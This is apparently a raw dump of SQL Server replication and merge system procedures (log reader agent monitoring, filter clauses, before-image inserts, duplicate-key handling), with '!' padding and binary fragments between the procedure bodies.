!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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isher sysname
    declare @publisher_db sysname
    declare @logreader_agent nvarchar(100)
    declare @status int
    declare @start_time nvarchar(24)
    declare @time nvarchar(24)
    declare @duration int
    declare @comments nvarchar(255)
    declare @delivery_time int
    declare @delivered_transactions int
    declare @delivered_commands int
    declare @average_commands int
    declare @delivery_rate int
    declare @delivery_latency int
    declare @error_id int
    declare @job_id binary(16)
    declare @local_job bit
    declare @profile_id int
    declare @agent_id int
    declare @last_timestamp binary(8)

    --
    -- security check
    -- only replmonitor can execute this
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    create table #logreader_agent (name nvarchar(100) NOT NULL, status int NOT NULL,
        publisher sysname NOT NULL, publisher_db sysname NOT NULL,
        start_time nvarchar(24)  NULL, time nvarchar(24)  NULL, duration int  NULL, 
        comments nvarchar(255) NULL, delivery_time int NULL, 
        delivered_transactions int  NULL, delivered_commands int NULL, 
        average_commands int  NULL, delivery_rate int NULL, 
        delivery_latency int NULL, error_id int NULL, job_id binary(16) NULL,
        local_job bit NULL, profile_id int NOT NULL, agent_id int NOT NULL, last_timestamp binary(8) NOT NULL)  
   
    declare hC  CURSOR LOCAL FAST_FORWARD FOR
         select server.srvname, agent.publisher_db, name, 
            local_job, job_id, agent.profile_id, agent.id
            from
            MSlogreader_agents agent, master.dbo.sysservers server
            where 
            name LIKE @name and
            server.srvid = agent.publisher_id
        
        for read only

    OPEN hC
    FETCH hC INTO @publisher, @publisher_db, @logreader_agent, 
        @local_job, @job_id, @profile_id, @agent_id
    WHILE (@@fetch_status <> -1)
        begin

        /* Stuff in the values for no history case */
        select @status = 0, 
            @start_time = NULL,
            @time = NULL, @duration = NULL, @comments = NULL,
            @delivery_time = NULL, @delivered_transactions = NULL,
            @delivered_commands = NULL, @average_commands = NULL,
            @delivery_rate = NULL, @delivery_latency = NULL,
            @error_id = NULL,
            @last_timestamp = 0x00000000

        -- Get the status of the agent
        select @status = lh.runstatus, 
            @start_time = sys.fn_replformatdatetime(start_time),
            @time = sys.fn_replformatdatetime(time), 
            @duration = duration, 
            @comments = comments,
            @delivery_time = delivery_time, @delivered_transactions = delivered_transactions,
            @delivered_commands = delivered_commands, @average_commands = average_commands,
            @delivery_rate = delivery_rate, @delivery_latency = delivery_latency,
            @error_id = error_id, @last_timestamp = timestamp
            from MSlogreader_history lh with (READPAST) 
            where
            lh.agent_id = @agent_id and
            lh.timestamp = (select max(timestamp) from MSlogreader_history with (READPAST)
                where
                agent_id = lh.agent_id
			and comments not like N'<stats state%'	
                )

        insert into #logreader_agent values (@logreader_agent, @status, @publisher,
            @publisher_db, @start_time, @time, @duration, @comments,
            @delivery_time, @delivered_transactions, @delivered_commands, @average_commands,
            @delivery_rate, @delivery_latency, @error_id, @job_id, @local_job,
            @profile_id, @agent_id, @last_timestamp)

        FETCH hC INTO @publisher, @publisher_db, @logreader_agent, 
            @local_job, @job_id, @profile_id, @agent_id
        end

    if @show_distdb = 0
        select * from #logreader_agent 
    else 
        select 'dbname' = DB_NAME(), * from #logreader_agent

    drop table #logreader_agent
    close hC
    deallocate hC
end
0O4@ @
8
create procedure sys.sp_MSexclause  @tablenick int, @pubid uniqueidentifier, @phase int  as
set nocount on
declare @clause nvarchar(4000)
declare @filterid int
declare @joinnick int
declare @qualified_jointable nvarchar(517)
declare @unqualified_jointable nvarchar(270)
declare @qualified_basetable nvarchar(517)
declare @unqualified_basetable nvarchar(270)
declare @filter_clause nvarchar(2000)
declare @retcode int

exec @retcode= sys.sp_MStablenamefromnick @tablenick, @qualified_basetable out, NULL, @unqualified_basetable out
if @@error<>0 or @retcode<>0 return(1)

declare f_c CURSOR LOCAL FAST_FORWARD for  select art_nickname, join_filterclause 
    from dbo.sysmergesubsetfilters where join_nickname = @tablenick and pubid = @pubid and filter_type = 1
    and exists (
                                        select * from dbo.sysmergearticles 
                                        where nickname = @tablenick 
                                        and pubid in 
                                        (
                                                select pubid from dbo.sysmergepublications where use_partition_groups <= 0
                                        )
                                )
    FOR READ ONLY
open f_c
fetch next from f_c into @joinnick, @filter_clause
while (@@fetch_status <> -1)
    begin
    exec @retcode= sys.sp_MStablenamefromnick @joinnick, @qualified_jointable out, NULL, @unqualified_jointable out
                 
    if @@error<>0 or @retcode<>0 goto Failure
    -- As helper proc for sp_MSmakeinsertproc, we can insert directly to the
    -- temp table as we build up more commands for the insert proc.
    -- Our commands are part of phase 8...
    set @clause = ' 
        if @resend = 0 
        begin
            if exists (select 1 from ' + @qualified_basetable + ' ' + @unqualified_basetable + ' with (NOLOCK) , ' + 
                        @qualified_jointable + ' ' + @unqualified_jointable + ' with (NOLOCK) where '

    insert into #tempcmd (phase, cmdtext) values (@phase, @clause)

    set @clause = @filter_clause
    
    insert into #tempcmd (phase, cmdtext) values (@phase, @clause)

    set @clause = 
            ' and ' + @unqualified_basetable + '.rowguidcol = @rowguid) 
                select @resend = 1
        end
'
    insert into #tempcmd (phase, cmdtext) values (@phase, @clause)

    fetch next from f_c into @joinnick, @filter_clause
    end

close f_c
deallocate f_c

return(0)

Failure:
    close f_c
    deallocate f_c
    return(1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<1KT\<0V{@ 8
create procedure sys.sp_MSscript_missing_row_check 
as

-- Note this must be done immediately after the update or delete statement.
-- create WHERE clause

insert into #proctext(procedure_text) values( N'if @@rowcount = 0' )
begin
    insert into #proctext(procedure_text) values( N'    if @@microsoftversion>0x07320000' )
    insert into #proctext(procedure_text) values( N'        exec sp_MSreplraiserror 20598' )
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<dL̼G0yڱ :8
create procedure sys.sp_MSinsertbeforeimageclause @pubid uniqueidentifier, @objid int, @tablenickstr nvarchar(12),
    @phase int as
    set nocount on
    declare @cmdpiece nvarchar(4000)
    declare @before_objid int
    declare @sync_objid int
    declare @before_name sysname
    declare @collist nvarchar(4000)
    declare @vallist nvarchar(4000)
    declare @colname sysname
    declare @colordinal smallint
    declare @argname sysname
    -- Security Checking 
    -- sysadmin or db_owner or replication agent have access

    if {fn ISPALUSER(@pubid)} <> 1
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    -- Do we have a before table?
    select @before_objid = max(before_image_objid) from  dbo.sysmergearticles where objid = @objid and
            before_image_objid is not null
    select @before_name = OBJECT_NAME(@before_objid)

    select @sync_objid = sync_objid from dbo.sysmergearticles where objid=@objid and pubid=@pubid

    if @before_name is null
        begin
            return 0
        end

    set @collist = ''
    -- Loop over columns to make the column list for the insert / select command

    declare col_cursor CURSOR LOCAL FAST_FORWARD for select name from sys.columns
        where object_id = @before_objid and name <> 'generation' and name <> 'system_delete' 
            and name in (select name from sys.columns where object_id = @sync_objid) 
                order by column_id
    
    FOR READ ONLY

    open col_cursor
    set @vallist = ''
    fetch next from col_cursor into @colname
    while (@@fetch_status <> -1)
        begin                   
            set @collist = @collist + QUOTENAME(@colname) + ', '
            exec sys.sp_MSgetcolordinalfromcolname @objid, @sync_objid, @colname, @colordinal out
            select @argname = '@p' + rtrim(convert(nchar, @colordinal))
            set @vallist = @vallist + @argname + ', '
            fetch next from col_cursor into @colname
        end
    close col_cursor
    deallocate col_cursor

    -- Our list has all of the columns except generation since that gets set to a local variable
    -- Make the insert command
    set @cmdpiece = ' 
            declare @gen_cur bigint 
            exec sys.sp_MSmerge_getgencur_public ' + @tablenickstr + ', 0, @gen_cur output
            if @retcode<>0 or @@error<>0
                return 4
            '
    insert into #tempcmd (phase, cmdtext) values (@phase, @cmdpiece)
    --select @cmdpiece

    set @cmdpiece = '
            insert into ' + QUOTENAME(@before_name) + ' ( ' + @collist +  
           ' generation, system_delete) values (' + @vallist + ' @gen_cur, 1 )'
    insert into #tempcmd (phase, cmdtext) values (@phase, @cmdpiece)
    --select @cmdpiece

    return 0
    
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`$<:M0 d8create procedure sys.sp_MScreatedupkeyupdatequery
    @tablename nvarchar(270),
    @tablenickstr nvarchar(12),
    @phase int,
    @isconflictproc bit,
    @tablename2 nvarchar(270)
as
    declare @uniqueindexid       smallint
    declare @numofindex          smallint
    declare @cmdpiece            nvarchar(4000)
    declare @cmdpiecebegin       nvarchar(1000)
    declare @colid               int
    declare @tableid             int
    declare @colname             nvarchar(140)
    declare @paramname           nvarchar(10)
    declare @skipthisindex       bit

    set @numofindex= 0
    set @cmdpiece= ''
    set @cmdpiecebegin= ''
    set @tableid= object_id(@tablename)

    if 1 = @isconflictproc
    begin
        set @cmdpiecebegin= '
        declare @error    int
        set @error= @reason_code'
    end
    
    -- Create the part of the query that preceds the where-clause.
    set @cmdpiecebegin= @cmdpiecebegin + '

    declare @REPOLEExtErrorDupKey            int
    declare @REPOLEExtErrorDupUniqueIndex    int

    set @REPOLEExtErrorDupKey= 2627
    set @REPOLEExtErrorDupUniqueIndex= 2601
    
    if @error in (@REPOLEExtErrorDupUniqueIndex, @REPOLEExtErrorDupKey)
    begin
        update mc
            set mc.generation= 0
            from dbo.MSmerge_contents mc join ' + @tablename2 + ' t on mc.rowguid=t.rowguidcol
            where
                mc.tablenick = ' + @tablenickstr + ' and
                (
'

    -- Iterate over all unique indexes, and build up the column comparison part of the where-clause.
    -- The index on rowguidcol is skipped.
    -- Exit right away if there is no index at all, or only the merge-related rowguidcol-index.
    set @uniqueindexid= (select min(index_id) from sys.indexes 
                            where object_id=@tableid and 
                                  is_unique=1 and
                                  (
                                      1<>ColumnProperty(object_id, index_col(@tablename, index_id, 1), 'IsRowGuidCol') or
                                      index_col(@tablename, index_id, 2) is not null
                                  )
                        )

    while @uniqueindexid is not null
    begin
        set @skipthisindex= 0
        set @colid= 1

        set @numofindex= @numofindex + 1
        
        -- Iterate over all columns that belong to that index.
        set @cmdpiece= ''
        set @colname= index_col(@tablename, @uniqueindexid, @colid)
        while 0 = @skipthisindex and 
              @colname is not null
        begin
            set @colname= quotename(@colname)
            set @paramname= (select paramname from #coltab where colname = @colname)

            -- @paramname can be null if we are in the update proc, and the column is
            -- an identity column. (Those columns are skipped for the update proc, and thus
            -- are not in #coltab, either.)
            -- As a consequence, this part of the where clause is skipped, too. 
            if @paramname is null
            begin
                set @skipthisindex= 1
                set @numofindex= @numofindex - 1
            end
            else
            begin

                if 1 = @colid
                begin
                    if 1 < @numofindex
                        set @cmdpiece= @cmdpiece + ' or
'

                    set @cmdpiece= @cmdpiece + '                        (t.' + @colname + '=' + @paramname
                end
                else
                begin
                    set @cmdpiece= @cmdpiece + ' and t.' + @colname + '=' + @paramname
                end
                
                set @colid= @colid+1
                set @colname= index_col(@tablename, @uniqueindexid, @colid)
            end
            
        end

        if 0 = @skipthisindex
        begin
            -- Add the beginning of the command if we are at the first index
            if 1 = @numofindex
                insert into #tempcmd (phase, cmdtext) values (@phase, @cmdpiecebegin)
            -- Close this part of the where-clause, and add it to the generated query.
            set @cmdpiece= @cmdpiece + ')'
            insert into #tempcmd (phase, cmdtext) values (@phase, @cmdpiece)
        end

        set @uniqueindexid= (select min(index_id) from sys.indexes 
                                where object_id=@tableid and 
                                    is_unique=1 and
                                      (
                                          1<>ColumnProperty(object_id, index_col(@tablename, index_id, 1), 'IsRowGuidCol') or
                                          index_col(@tablename, index_id, 2) is not null
                                      ) and
                                    index_id>@uniqueindexid
                            )
    end

    -- Close the entire where-clause.
    if 0 < @numofindex
    begin
        set @cmdpiece= '
                        )
            end'
        
        insert into #tempcmd (phase, cmdtext) values (@phase, @cmdpiece)
    end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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    @index_name     sysname = null,
    @table_schema   sysname = null
)
as
    select
        TABLE_CATALOG       = s_iv.TABLE_CATALOG,
        TABLE_SCHEMA        = s_iv.TABLE_SCHEMA,
        TABLE_NAME          = s_iv.TABLE_NAME,
        INDEX_CATALOG       = s_iv.INDEX_CATALOG,
        INDEX_SCHEMA        = s_iv.INDEX_SCHEMA,
        INDEX_NAME          = s_iv.INDEX_NAME,
        PRIMARY_KEY         = s_iv.PRIMARY_KEY,
        [UNIQUE]            = s_iv.[UNIQUE],
        [CLUSTERED]         = s_iv.[CLUSTERED],
        [TYPE]              = s_iv.[TYPE],
        FILL_FACTOR         = s_iv.FILL_FACTOR,
        INITIAL_SIZE        = s_iv.INITIAL_SIZE,
        NULLS               = s_iv.NULLS,
        SORT_BOOKMARKS      = s_iv.SORT_BOOKMARKS,
        AUTO_UPDATE         = s_iv.AUTO_UPDATE,
        NULL_COLLATION      = s_iv.NULL_COLLATION,
        ORDINAL_POSITION    = s_iv.ORDINAL_POSITION,
        COLUMN_NAME         = s_iv.COLUMN_NAME,
        COLUMN_GUID         = s_iv.COLUMN_GUID,
        COLUMN_PROPID       = s_iv.COLUMN_PROPID,
        [COLLATION]         = s_iv.[COLLATION],
        CARDINALITY         = s_iv.CARDINALITY,
        PAGES               = s_iv.PAGES,
        FILTER_CONDITION    = s_iv.FILTER_CONDITION,
        INTEGRATED          = s_iv.INTEGRATED,
        STATUS              = s_iv.STATUS

    from
        sys.spt_indexes_view s_iv

    where
        (@table_schema is null or schema_id(@table_schema) = s_iv.SCHEMA_ID) and
        (@index_name is null   or @index_name = s_iv.INDEX_NAME)

    order by 8, 10, 4, 5, 6, 17
00 8
create function sys.fn_MSgetrowguidvirtualtable
(
    @phase int,
    @number_of_rows int
)
returns @rowguidvtable table (step int identity, phase int, cmdtext nvarchar(4000))
as
begin
    declare @rownumber int

    if @number_of_rows = 100
    begin
        insert @rowguidvtable(phase, cmdtext) values
        (@phase, '
         select @rowguid1 as rowguid union all 
         select @rowguid2 as rowguid union all 
         select @rowguid3 as rowguid union all 
         select @rowguid4 as rowguid union all 
         select @rowguid5 as rowguid union all 
         select @rowguid6 as rowguid union all 
         select @rowguid7 as rowguid union all 
         select @rowguid8 as rowguid union all 
         select @rowguid9 as rowguid union all 
         select @rowguid10 as rowguid union all 
         select @rowguid11 as rowguid union all 
         select @rowguid12 as rowguid union all 
         select @rowguid13 as rowguid union all 
         select @rowguid14 as rowguid union all 
         select @rowguid15 as rowguid union all 
         select @rowguid16 as rowguid union all 
         select @rowguid17 as rowguid union all 
         select @rowguid18 as rowguid union all 
         select @rowguid19 as rowguid union all 
         select @rowguid20 as rowguid union all 
         select @rowguid21 as rowguid union all 
         select @rowguid22 as rowguid union all 
         select @rowguid23 as rowguid union all 
         select @rowguid24 as rowguid union all 
         select @rowguid25 as rowguid union all 
         select @rowguid26 as rowguid union all 
         select @rowguid27 as rowguid union all 
         select @rowguid28 as rowguid union all 
         select @rowguid29 as rowguid union all 
         select @rowguid30 as rowguid union all 
         select @rowguid31 as rowguid union all 
         select @rowguid32 as rowguid union all 
         select @rowguid33 as rowguid union all 
         select @rowguid34 as rowguid union all 
         select @rowguid35 as rowguid union all 
         select @rowguid36 as rowguid union all 
         select @rowguid37 as rowguid union all 
         select @rowguid38 as rowguid union all 
         select @rowguid39 as rowguid union all 
         select @rowguid40 as rowguid union all 
         select @rowguid41 as rowguid union all 
         select @rowguid42 as rowguid union all 
         select @rowguid43 as rowguid union all 
         select @rowguid44 as rowguid union all 
         select @rowguid45 as rowguid union all 
         select @rowguid46 as rowguid union all 
         select @rowguid47 as rowguid union all 
         select @rowguid48 as rowguid union all 
         select @rowguid49 as rowguid union all 
         select @rowguid50 as rowguid union all')
         
        insert @rowguidvtable(phase, cmdtext) values 
        (@phase, '
         select @rowguid51 as rowguid union all 
         select @rowguid52 as rowguid union all 
         select @rowguid53 as rowguid union all 
         select @rowguid54 as rowguid union all 
         select @rowguid55 as rowguid union all 
         select @rowguid56 as rowguid union all 
         select @rowguid57 as rowguid union all 
         select @rowguid58 as rowguid union all 
         select @rowguid59 as rowguid union all 
         select @rowguid60 as rowguid union all 
         select @rowguid61 as rowguid union all 
         select @rowguid62 as rowguid union all 
         select @rowguid63 as rowguid union all 
         select @rowguid64 as rowguid union all 
         select @rowguid65 as rowguid union all 
         select @rowguid66 as rowguid union all 
         select @rowguid67 as rowguid union all 
         select @rowguid68 as rowguid union all 
         select @rowguid69 as rowguid union all 
         select @rowguid70 as rowguid union all 
         select @rowguid71 as rowguid union all 
         select @rowguid72 as rowguid union all 
         select @rowguid73 as rowguid union all 
         select @rowguid74 as rowguid union all 
         select @rowguid75 as rowguid union all 
         select @rowguid76 as rowguid union all 
         select @rowguid77 as rowguid union all 
         select @rowguid78 as rowguid union all 
         select @rowguid79 as rowguid union all 
         select @rowguid80 as rowguid union all 
         select @rowguid81 as rowguid union all 
         select @rowguid82 as rowguid union all 
         select @rowguid83 as rowguid union all 
         select @rowguid84 as rowguid union all 
         select @rowguid85 as rowguid union all 
         select @rowguid86 as rowguid union all 
         select @rowguid87 as rowguid union all 
         select @rowguid88 as rowguid union all 
         select @rowguid89 as rowguid union all 
         select @rowguid90 as rowguid union all 
         select @rowguid91 as rowguid union all 
         select @rowguid92 as rowguid union all 
         select @rowguid93 as rowguid union all 
         select @rowguid94 as rowguid union all 
         select @rowguid95 as rowguid union all 
         select @rowguid96 as rowguid union all 
         select @rowguid97 as rowguid union all 
         select @rowguid98 as rowguid union all 
         select @rowguid99 as rowguid union all 
         select @rowguid100 as rowguid')
    end
    else
    begin
        insert @rowguidvtable(phase, cmdtext) values (@phase, N'
         select @rowguid1 as rowguid')
        set @rownumber = 2
        while @rownumber <= @number_of_rows
        begin
            insert @rowguidvtable(phase, cmdtext) values (@phase, N' union all 
         select @rowguid'+convert(nvarchar(3), @rownumber)+' as rowguid')
            select @rownumber = @rownumber + 1
        end
    end

    return
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`e	f	<1Ob0l? 8
create procedure sys.sp_MSgetviewcolumnlist(
@pubid              uniqueidentifier,
@source_objid       int,
@column_list        nvarchar(max) OUTPUT,
@prefix_tablename   sysname = NULL,
@blob_cols_at_the_end  bit = 0, 
@explicit_column_list bit = 0
)
AS
/* 
** if it is not vertically partitioned, then get all columns 
** else get the column list as given in columns of dbo.sysmergearticles
*/
declare @bitset         int
declare @columns        varbinary(125)
declare @setcolcnt      int
declare @colcnt         int
declare @colname        nvarchar(140)
declare @colid          int
declare @table_has_blob bit
declare @loop_counter   int
declare @loop_counter_max int
declare @column_is_blob int

select @columns = columns from dbo.sysmergearticles where objid = @source_objid and pubid=@pubid
select @table_has_blob = 0
select @loop_counter = 1
select @column_list = ''
select @setcolcnt   = 0
select @colcnt = count(*) from sys.columns where object_id = @source_objid

-- loop through the columns twice if blobs need to put at the end.
if @blob_cols_at_the_end <> 1
    select @loop_counter_max = 1
else
    select @loop_counter_max = 2


while @loop_counter <= @loop_counter_max
begin
    declare collist CURSOR LOCAL FAST_FORWARD FOR 
        select name, column_id, sys.fn_IsTypeBlob(system_type_id, max_length) from sys.columns where object_id = @source_objid and is_computed <> 1 and type_name(user_type_id) <> 'timestamp' order by column_id ASC
    FOR READ ONLY
    open collist
    fetch collist into @colname, @colid, @column_is_blob
    WHILE (@@fetch_status <> -1)
    BEGIN
        set @bitset = 1
        if @columns is NOT NULL
            exec @bitset = sys.sp_MStestbit @columns, @colid
        if @bitset<>0
        begin
            -- set table_has_blob is alteast one column is blob
            if @column_is_blob = 1
            begin
                -- if this proc is not called with blob_cols_at_the_end then
                -- ignore the fact that this column is a blob column.
                if @blob_cols_at_the_end <> 1
                    select @column_is_blob = 0
                else
                    select @table_has_blob = 1
            end
                
            select @colname = QUOTENAME(@colname) --previously we use rowguidcol to replace 'rowguid'
            if @column_list=''                    --which can cause problems and is not necessary.
            begin
                -- Insert non blob column in the first iteration through the loop
                -- so that they are before any blob columns.
                -- Insert blob columns in the second iteration through the loop
                -- so that they are in the end of the column_list.
                if ((@column_is_blob <> 1 and @loop_counter=1) or (@column_is_blob=1 and @loop_counter=2))
                begin
                    select @setcolcnt = @setcolcnt + 1
                    if @prefix_tablename is not NULL
                        select @column_list = @prefix_tablename + @colname
                    else                
                        select @column_list = @colname
                end
            end
            else
               begin
                -- Insert non blob column in the first iteration through the loop
                -- so that they are before any blob columns.
                -- Insert blob columns in the second iteration through the loop
                -- so that they are in the end of the column_list.
                if ((@column_is_blob <> 1 and @loop_counter=1) or (@column_is_blob=1 and @loop_counter=2))
                begin
                    select @setcolcnt = @setcolcnt + 1
                    if @prefix_tablename is not NULL
                        select @column_list = @column_list + ', ' + @prefix_tablename + @colname    
                    else                
                        select @column_list = @column_list + ', ' + @colname    
                end
            end
        end                 
    fetch next from collist into @colname, @colid, @column_is_blob
    END
    close collist
    deallocate collist

    -- increment loop_counter
